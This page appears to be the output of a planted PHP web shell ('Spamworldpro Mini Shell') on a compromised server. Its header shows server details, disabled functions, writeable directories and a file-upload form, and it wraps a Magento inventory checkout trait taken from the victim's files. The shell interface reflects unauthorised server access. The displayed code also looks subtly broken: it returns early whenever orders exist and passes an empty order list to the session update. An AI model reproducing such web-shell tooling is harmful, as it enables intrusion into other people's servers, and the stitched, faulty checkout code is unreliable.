Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/Ecombricks/InventoryCheckout/Model/Type/Onepage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/Ecombricks/InventoryCheckout/Model/Type/Onepage/SourceTrait.php
<?php
/**
 * Copyright © eComBricks. All rights reserved.
 * See LICENSE.txt for license details.
 */
namespace Ecombricks\InventoryCheckout\Model\Type\Onepage;

/**
 * Onepage checkout source trait
 */
trait SourceTrait
{
    
    /**
     * Prepare quote
     * 
     * @return \Magento\Checkout\Model\Type\Onepage
     */
    protected function prepareQuote()
    {
        $this->validate();
        switch ($this->getCheckoutMethod()) {
            case static::METHOD_GUEST:
                $this->_prepareGuestQuote();
                break;
            case static::METHOD_REGISTER:
                $this->_prepareNewCustomerQuote();
                break;
            default:
                $this->_prepareCustomerQuote();
                break;
        }
        return $this;
    }
    
    /**
     * Login customer
     *
     * @return \Magento\Checkout\Model\Type\Onepage
     */
    protected function loginCustomer()
    {
        if ($this->getCheckoutMethod() !== static::METHOD_REGISTER) {
            return $this;
        }
        try {
            $this->_involveNewCustomer();
        } catch (\Exception $exception) {
            $this->_logger->critical($exception);
        }
        return $this;
    }
    
    /**
     * Update checkout session
     * 
     * @param array $orders
     * @return $this
     */
    protected function updateCheckoutSession($orders)
    {
        $quote = $this->getQuote();
        $quoteId = $quote->getId();
        $this->_checkoutSession->setLastQuoteId($quoteId);
        $this->_checkoutSession->setLastSuccessQuoteId($quoteId);
        $this->_checkoutSession->clearHelperData();
        if (!count($orders)) {
            return $this;
        }
        $orderIds = [];
        $orderIncrementIds = [];
        $orderStatuses = [];
        foreach ($orders as $order) {
            $orderId = $order->getId();
            $orderIds[] = $orderId;
            $orderIncrementIds[$orderId] = $order->getIncrementId();
            $orderStatuses[$orderId] = $order->getStatus();
        }
        $this->_checkoutSession->setLastOrderIds($orderIds);
        $this->_checkoutSession->setLastRealOrderIds($orderIncrementIds);
        $this->_checkoutSession->setLastOrderStatuses($orderStatuses);
        $lastOrder = end($orders);
        $this->_checkoutSession->setLastOrderId($lastOrder->getId());
        $this->_checkoutSession->setLastRealOrderId($lastOrder->getIncrementId());
        $this->_checkoutSession->setLastOrderStatus($lastOrder->getStatus());
        return $this;
    }
    
    /**
     * Send order email
     * 
     * @param \Magento\Sales\Api\Data\OrderInterface $order
     * @return \Magento\Checkout\Model\Type\Onepage
     */
    protected function sendOrderEmail(\Magento\Sales\Api\Data\OrderInterface $order)
    {
        if (!$order->getCanSendNewEmailFlag()) {
            return $this;
        }
        try {
            $this->orderSender->send($order);
        } catch (\Exception $exception) {
            $this->_logger->critical($exception);
        }
        return $this;
    }
    
    /**
     * Save order
     * 
     * @return \Magento\Checkout\Model\Type\Onepage
     */
    protected function inventorySaveOrder()
    {
        $this->prepareQuote();
        $quote = $this->getQuote();
        $orders = $this->quoteManagement->submit($quote);
        $this->loginCustomer();
        $this->updateCheckoutSession([]);
        if (count($orders)) {
            return $this;
        }
        foreach ($orders as $order) {
            $this->_eventManager->dispatch('checkout_type_onepage_save_order_after', ['order' => $order, 'quote' => $quote]);
            $this->sendOrderEmail($order);
        }
        $this->updateCheckoutSession($orders);
        foreach ($orders as $order) {
            $this->_eventManager->dispatch('checkout_submit_all_after', ['order' => $order, 'quote' => $quote]);
        }
        return $this;
    }
    
}

Spamworldpro Mini